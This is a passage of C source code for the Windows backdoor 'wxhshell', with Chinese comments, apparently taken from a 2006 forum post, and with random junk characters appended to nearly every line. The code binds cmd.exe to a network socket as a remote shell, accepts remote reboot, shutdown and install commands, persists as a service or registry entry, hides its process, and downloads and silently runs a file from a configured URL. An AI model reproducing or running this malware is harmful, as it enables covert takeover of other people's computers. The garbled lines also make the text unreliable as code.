  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c5% 6Y2W0  
  else e,gyQjJR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pHC /(6?  
  } 3n]79+w@z  
  else { F #`=oM $5  
fjG&`m#"  
    switch(cmd[0]) { t;NV $!!  
  `yO'[2  
  // 帮助 b5a.go  
  case '?': { q7\Ovjs0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -c*\o3)  
    break; swcd&~9r  
  } ,Nm$i"Lg  
  // 安装 ZDt?j   
  case 'i': { C! 9}  
    if(Install()) ztll}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^fe4b  
    else %,P >%'0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KP]"P*? ?  
    break; 646JDX[o  
    } g)"gw+ZFc  
  // 卸载 sG7u}r  
  case 'r': { 12UD19!  
    if(Uninstall()) m Y,|J\w@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,@F|c?_S  
    else ?-)I+EAnE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (s<s@`  
    break; ;C.S3}  
    } U/ od~29  
  // 显示 wxhshell 所在路径 L%"LlS g  
  case 'p': { q5DEw&UZJ  
    char svExeFile[MAX_PATH]; 4rg2y]  
    strcpy(svExeFile,"\n\r"); Xf[kI  
      strcat(svExeFile,ExeFile); ^teq[l$;  
        send(wsh,svExeFile,strlen(svExeFile),0); 6%G-Vs]*2  
    break; };L ^w :  
    } ^h' Sla  
  // 重启 I:cg}JZ>|  
  case 'b': { i1lBto[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L{-LX= G^  
    if(Boot(REBOOT)) =c.5874A`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W/$Zvl  
    else { QS[L~97m2M  
    closesocket(wsh); PNs~[  
    ExitThread(0); =FP0\cQ.  
    } Pe73g%  
    break; >$WQxbwM(  
    } $;N*cH~  
  // 关机 4<dcB@v  
  case 'd': { *cuuzi&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v=@TWEE  
    if(Boot(SHUTDOWN)) \y`+B*\i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hj%ye~|~  
    else { 9;.(u'y|  
    closesocket(wsh); i:]*P  
    ExitThread(0); /AY4M;}p  
    } F,BOgWwP  
    break; D,v U  
    } "\C$   
  // 获取shell m,i,n9C->  
  case 's': { pKiZ)3U  
    CmdShell(wsh); x!LQxoNF  
    closesocket(wsh); t]jFo  
    ExitThread(0); nfSbM3D]h  
    break; 8BOZh6BV  
  } ,l YE  
  // 退出 c/N@zum,{  
  case 'x': { "5R~(+~<@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sV"UI  
    CloseIt(wsh); i<kD  
    break; _|[UI.a  
    } ^hNgm.I  
  // 离开 ajR%c2G;  
  case 'q': { IJYL s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J]l rS  
    closesocket(wsh); (.w Ie/  
    WSACleanup(); x+ncc_2n&D  
    exit(1); _.IxRk)T  
    break; )c n+1R  
        } Qd}m`YW-f$  
  } )a 9 ]US^  
  } DI+]D~N  
d@`M CchCB  
  // 提示信息 voP7"Dl[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wN1niR'  
} |8> 3`w!  
  } dI&!e#Y  
%~L>1ShtU  
  return; $vC1 K5sLk  
} QO;N9ZI  
J;_}lF9d@  
// shell模块句柄 X[`bMa7IB(  
int CmdShell(SOCKET sock) k.("3R6v:  
{ \$0F-=w`8  
STARTUPINFO si; aRG2@5  
ZeroMemory(&si,sizeof(si)); L pR''`2BT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p&+;w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bj k]ZU0T  
PROCESS_INFORMATION ProcessInfo; fVb-$  
char cmdline[]="cmd"; qmO6,T-|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @1*ohdHH  
  return 0; +fvaUV_-  
} FZ!`B]]le,  
~|<WHHN (  
// 自身启动模式 \fA{1  
int StartFromService(void) bM8If"  
{ 7VcmVq}X  
typedef struct =mA: ctu~v  
{ }ci#>  
  DWORD ExitStatus; 3"o"fl  
  DWORD PebBaseAddress; s! n<}C  
  DWORD AffinityMask; 8} =JKR^cK  
  DWORD BasePriority; nF6q7  
  ULONG UniqueProcessId; nKW*Y}VO  
  ULONG InheritedFromUniqueProcessId; GKN%Tv:D_  
}   PROCESS_BASIC_INFORMATION; GpZ c5c  
!Mi;*ZR  
PROCNTQSIP NtQueryInformationProcess; 64hk2a8  
o-}R?>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :ba5iMa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K>*a*[t0Sy  
V&-~x^JK  
  HANDLE             hProcess; M\yT).>z  
  PROCESS_BASIC_INFORMATION pbi; Neg,qOt  
oc8:r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =Umw$+fJr  
  if(NULL == hInst ) return 0; sB;@>NY  
8_T6_jL<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !\&;h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z9aY]lHY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K~@Mg1R  
'1M7M(va  
  if (!NtQueryInformationProcess) return 0; 0eK*9S]  
W5SJ^,d)J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |V<h=D5W  
  if(!hProcess) return 0; 035rPT7-2-  
v|U(+O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZDbc  
rn<PR*  
  CloseHandle(hProcess); #1>X58I^  
@)Ofi j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Ho Qwy|&  
if(hProcess==NULL) return 0; >JiltF7H0  
sQMFpIrr  
HMODULE hMod; DGzw8|/(  
char procName[255]; m!<\WN6g  
unsigned long cbNeeded; [B+W%g(c-  
]Kr `9r),  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4~B> 9<$e>  
NH+(?TN  
  CloseHandle(hProcess); 27;ci:5  
J~#;<e{\"  
if(strstr(procName,"services")) return 1; // 以服务启动 D1__n6g[  
N^3N[lD{  
  return 0; // 注册表启动 Fd0 %lnui  
} P*cNh43U  
;[fw]P n  
// 主模块 HuOIFv  
int StartWxhshell(LPSTR lpCmdLine) O%FPS=  
{ J>/w5$h5  
  SOCKET wsl; {GC?SaK  
BOOL val=TRUE; x g0iN'e'K  
  int port=0; ,_Z+8  
  struct sockaddr_in door; j ?MAED  
By%=W5  
  if(wscfg.ws_autoins) Install(); 3-&QRR#p  
Q=]w !I\  
port=atoi(lpCmdLine); !Y-98<|b M  
|+T1XYG5  
if(port<=0) port=wscfg.ws_port; ztw@Y|<2  
V O3x~E  
  WSADATA data; 8QM(?A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q5?# 3T=  
JU4q zi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^k]XEW{PG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *hw\35%P`?  
  door.sin_family = AF_INET; b[`Yi1^]%g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #5f-`~^C{  
  door.sin_port = htons(port); M@5?ZZ4L  
f"<O0Qw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xP[n  
closesocket(wsl); /n>qCuw  
return 1; ^k9kJ+x^S2  
} K"r*M.P>  
X-wf:h?i  
  if(listen(wsl,2) == INVALID_SOCKET) { 8O38# {[S  
closesocket(wsl); &uO%_6J  
return 1; x@*SEa  
} -]QD|w3dp  
  Wxhshell(wsl); HaP}Y :p  
  WSACleanup(); W VI{oso#  
ho$ +L  
return 0; bua+I;b  
gM _hi  
} ]wtb-PC  
QDu2?EYZq  
// 以NT服务方式启动 <WcR,d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U-|NY  
{ uXKERzg  
DWORD   status = 0; Ry'= ke  
  DWORD   specificError = 0xfffffff;  jrS[f  
1&- </G#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )'~6HO8Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ={z*akn,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RRI"d~~F6  
  serviceStatus.dwWin32ExitCode     = 0; 8|" XSN  
  serviceStatus.dwServiceSpecificExitCode = 0; ;A*`e$  
  serviceStatus.dwCheckPoint       = 0; :3I@(k\PY  
  serviceStatus.dwWaitHint       = 0; #Y4=J 6  
o|$AyS{1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :$n=$C -wp  
  if (hServiceStatusHandle==0) return; <>8WQn,K  
c`o7d)_Ke  
status = GetLastError(); }b-g*dn]5  
  if (status!=NO_ERROR) QnJZr:4b  
{ 2K3{hxB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8p:j&F  
    serviceStatus.dwCheckPoint       = 0; g4l !xT  
    serviceStatus.dwWaitHint       = 0;  w/kt3Lw  
    serviceStatus.dwWin32ExitCode     = status; I= &stsH  
    serviceStatus.dwServiceSpecificExitCode = specificError; .dav8n*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pim!.=vN/U  
    return; #H :7@  
  } ROous4MG  
)/wk ( O+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K2<9mDn&  
  serviceStatus.dwCheckPoint       = 0; wbst8 *$  
  serviceStatus.dwWaitHint       = 0; h]TQn)X]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [DF,^4g  
} 7D;cw\ |  
hUF5fZqii  
// 处理NT服务事件,比如:启动、停止 ~FN9 [aJF+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zaK#Z?V}  
{ lb3]$Da  
switch(fdwControl) urjjw.wZ  
{ 0`[wpZ  
case SERVICE_CONTROL_STOP:  m5r7  
  serviceStatus.dwWin32ExitCode = 0; N9v1[~ bv_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]VD|xm:kj  
  serviceStatus.dwCheckPoint   = 0; [_}J F}6  
  serviceStatus.dwWaitHint     = 0; fIsp;ca[k  
  { #n#@fAY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /|D*w^ >  
  } tQBRA/  
  return; , T8>}U(  
case SERVICE_CONTROL_PAUSE: 6e[VgN-s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lw< c2 C  
  break; -$dXE+&   
case SERVICE_CONTROL_CONTINUE: e=+?K5q{P(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  7*?}:  
  break; E<Q f!2s$  
case SERVICE_CONTROL_INTERROGATE: RH&~+5  
  break; U4b0*`o  
}; (w}H]LQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yc?a=6q'm  
} }#n;C{z2e  
orjj' +;X  
// 标准应用程序主函数 LyAn&h}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ce7CcHQ?B  
{ Yo|,]X>/  
<c2'0I >  
// 获取操作系统版本 Z\k&gio5C^  
OsIsNt=GetOsVer(); `pGa~!vl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lx[oaCr  
,"HL~2:~  
  // 从命令行安装 ;N 0~;I  
  if(strpbrk(lpCmdLine,"iI")) Install(); yge,8i)c  
{o.FlX  
  // 下载执行文件 U 15H2-`  
if(wscfg.ws_downexe) { <|SRe6m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;{U@qQD7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]3X@_NYj  
} oyYR-4m\  
R5X.^u  
if(!OsIsNt) { B Ere*J  
// 如果时win9x,隐藏进程并且设置为注册表启动 !Ikt '5/  
HideProc(); 3ZXQoC '  
StartWxhshell(lpCmdLine); LdL/399<  
} Wwr;-Qa}g  
else w tiny,6  
  if(StartFromService()) i:OK8Q{VI  
  // 以服务方式启动 6jC`8l:  
  StartServiceCtrlDispatcher(DispatchTable); Bg|5KOnd  
else Aj+2;]M  
  // 普通方式启动 V7Ek-2M  
  StartWxhshell(lpCmdLine); iqe%=%ZR  
@T'i/}nl  
return 0; kNobl  
}
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只看该作者 1 发表于: 2006-10-10
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